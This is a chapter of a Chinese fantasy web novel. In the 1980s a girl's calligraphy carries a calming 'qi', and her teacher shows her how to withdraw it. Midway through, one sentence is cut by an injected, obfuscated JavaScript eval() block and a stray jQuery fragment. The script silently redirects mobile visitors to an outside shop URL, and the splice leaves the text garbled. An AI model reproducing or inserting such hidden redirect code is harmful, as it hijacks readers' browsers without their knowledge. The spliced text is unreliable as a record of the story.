王先生走了之后，厂区安静了几天。
张清还是每天上学、写字、看字帖。父亲还是每天磨墨、摆笔、裁纸。母亲还是每天骑自行车去卫生院。
好像什么都没发生。但张清知道，有些东西不一样了。
每天放学回来的路上，总有人跟她打招呼。"小清，放学了？""小清，你爸在厂里吗？"以前大家各忙各的，没人特别注意她。现在不一样了。那些人打招呼的时候，眼神里多了一种东西。是试探，在看这个孩子到底有什么本事。
那天下午，张清正在院子里写"永"字。第五十个，写完就收工。
门口又有人来了。
这次是两个人。一个是王先生，另一个穿着厂里的蓝色工装，四十多岁，脸上有皱纹，看着像是干力气活的。
"老张！"王先生在门口喊。"在家吗？"
父亲从屋里出来，看见王先生，愣了一下，然后笑了。"来了？快进来。"
王先生走进来，身后跟着那个穿工装的中年人。
"这是你李叔。"王先生说。"隔壁厂的。"
"李叔好。"张清站起来叫了一声。
"哎，好。"李叔打量着张清，看的是她的手。
"你李叔有点事想找你。"王先生压低声音，但张清听得见。
李叔犹豫了一下，开口了。"小清，我听说，你写的字能让人睡觉？"
张清看了父亲一眼。父亲没说话。
"谁说的？"
"你王叔说的。他说他那天在你家坐了一会儿，回去以后睡了一觉。睡得很沉。他已经三年没睡过那么好的觉了。"李叔搓了搓手。"我也失眠。比你王叔还严重。每天只能睡一个多小时。"
张清看着李叔。他的脸色很差，眼窝深陷，嘴唇发干，皮肤灰暗。
"你为什么失眠？"
李叔叹了口气。"压力大。厂里要裁员，我是车间主任。裁谁不裁谁，都是我说了算。每天晚上躺在床上，脑子里全是在想，裁了张三她家怎么办？裁了李四他老婆生病谁照顾？想多了，就睡不着。睡不着，第二天就没精神。没精神，决策就出错。出错，就更焦虑。循环了两年了。"
张清听着。
"你想让我写什么？"
"随便。你王叔说，你写什么都能让人安心。"
张清点了点头。她坐下来，拿出毛边纸、毛笔、砚台。磨墨，落笔。
这次她写的是一个"静"字。
不是她第一次写"静"字。两年前她第一次写"静"字的时候，蝉停了一分钟。现在她再写，感觉不一样了。她能把更多的"意"写进去。
写完了，她把纸递给李叔。"你拿着。放在枕头下面。"
李叔接过纸，手有点抖。"就这样？"
"就这样。"
李叔把纸叠好，小心翼翼地放进上衣口袋里。叠了两次才对齐。他的眼眶红了一圈，没掉眼泪，但看得出来在忍。一个四十多岁的男人，在人家院子里，因为一张毛边纸差点掉眼泪。
他自己也觉得不好意思，低下头咳了一声。
"还有事？"张清问。
"没。"李叔开口了，又停住了。
"你想问什么？"
"我……小清，你跟我说实话，你这本事跟谁学的？"
"我爸。还有周老师。"
"周老师教了你什么？"
"写字。"
"就只是写字？"
"嗯。"
李叔看着她。过了几秒，他笑了。"好。那就够了。"
他转身往外走。走到门口，回头看了一眼。"小清，谢谢你。"
"不客气。"
李叔走了。王先生没走，留下来喝茶。
"老张，"王先生说，"你家小清不简单。"
"小孩子瞎写。"
"不是瞎写。"王先生摇头。"我跟你说实话，我那天回去以后又睡了一觉，比上次还好。你女儿写的字真的有'气'。"
父亲抽了一口烟。
"老张，你跟我说实话，这孩子以后打算怎么办？"
"什么怎么办？"
"她这本事，打算用在哪？"
"她没什么本事。就是写字写得好。写字有什么不好？写字是正经事。"
王先生笑了。"你别糊弄我。我不是外人。"
他压低了声音。"现在是什么时期，你比我清楚。'清除精神污染'。你家小清这本事，要是传出去——"他没说完，但意思很清楚。
"我知道。"父亲说。"谢谢。"
"你打算怎么办？"
父亲想了想。"不让她出去。就在家里写。谁来了都不见。"
"那今天为什么见我？"
父亲沉默了一会儿。"因为是你。我信你。"
王先生愣了一下，点了点头。"好。那我不说了。"
他又喝了一口茶。"李叔那个人，是个老实人。他老婆有病，两个孩子要养。压力太大了。你家小清要是真能帮他，就帮帮他吧。暗中帮，不让别人知道。"
"看情况。"父亲说。
王先生站起来。"那我走了。"
走到门口，回头看了一眼院子里的张清。她正在收拾书桌，把毛笔洗干净，把砚台盖好，把毛边纸叠整齐。
"老张，你这女儿，以后会有大出息。"
"别瞎说。"
"不是瞎说。我看了二十年的人，不会看错。"
他走了。
那天晚上，张清躺在床上想今天的事。她知道王先生说得对。她写的字确实有"气"。但她也知道父亲为什么不想让她出去。1984年，"清除精神污染"运动还没结束。"封建迷信"四个字，能杀人。爷爷就是被棍子打死的。
她闭上眼睛，感觉到了自己的"意"在流动。从脑子里，沿着手臂、手腕、手指，一直流到指尖。但她没有拿笔。她知道，"意"一直在。不需要笔，不需要纸。只要她在，"意"就在。
第二天早上，张清起床的时候，发现父亲坐
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17809186|210771||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
在堂屋里抽烟。桌上放着一封信。
"爸。"
"嗯。"
"那是什么？"
父亲把烟掐灭。"你周老师写的。让我带你去一趟他家。"
周伯年坐在院子里，面前摆着一壶茶。看见张清来了，摘下老花镜擦了擦。
"来了？坐。"
"周老师。"张清坐下来。
父亲背着手站在旁边，没坐。
"老张，你坐下。"周伯年说。
父亲坐下来。"你那封信，是什么意思？"
"意思你应该清楚。"周伯年说。"你家小清，出名了。"
"我没让她出名。"
"我知道。但王先生那个人，嘴不严。一传十，十传百。用不了多久，整个厂区都会知道。"
"那怎么办？"
周伯年把老花镜戴回去，想了想。"不急。有两个办法。第一，搬家。换个地方，重新开始。"
"不可能。"父亲说。"我的工作在这。我爹的坟也在这。"
"那就第二个办法。让张清学会'收'。"
"收？"
"对。她现在会'放'，不会'收'。'意'放出去太多，人会累。你爹就是这样。"
父亲脸色变了。
"你爹最后几年，走路都走不动。因为他把'意'全给了那些字。"
父亲沉默了。
"所以，你要让她学会'收'。每天写一个'安'字，写完就烧。把'意'收回来。"
"这样就行了？"
"这样就行了。'收'住了，就不会被消耗。"
父亲想了想。"好。就这么办。"他转头看着张清。"听见了？"
"听见了。"
"从今天开始，每天写一个'安'字，写完就烧掉。练字去。"
"好。"
从那天开始，张清每天多了一件事。写完五十个"永"字之后，磨墨，拿出一张新的毛边纸，写一个"安"字。然后，烧掉。
烧的时候，她能感觉到那股"意"从纸上飘起来，像烟一样，回到她的身体里。
是字在跟她告别。
日子一天天过去，厂区又恢复了平静。没人再来找张清。王先生偶尔来串门，再也不提"写字"的事。李叔的失眠好了一些，见了张清就笑，但也不多说。
张清每天上学、写字、烧字。她学会了"收"。
有一天，周伯年对她说："你的'意'，走回来了。"
"什么意思？"
"你以前会'放'，不会'收'。现在会了。"
"这算进步吗？"
"算。"周伯年说。"'凝意'的开始。"
"下一步是什么？"
"养气。等你把'意'养够了，你就不需要笔了。"
"不需要笔？"
"对。你爷爷就是到那个境界的。"
张清没说话。她看着自己的手，指尖有薄茧。但她知道，总有一天，她不需要这些茧了。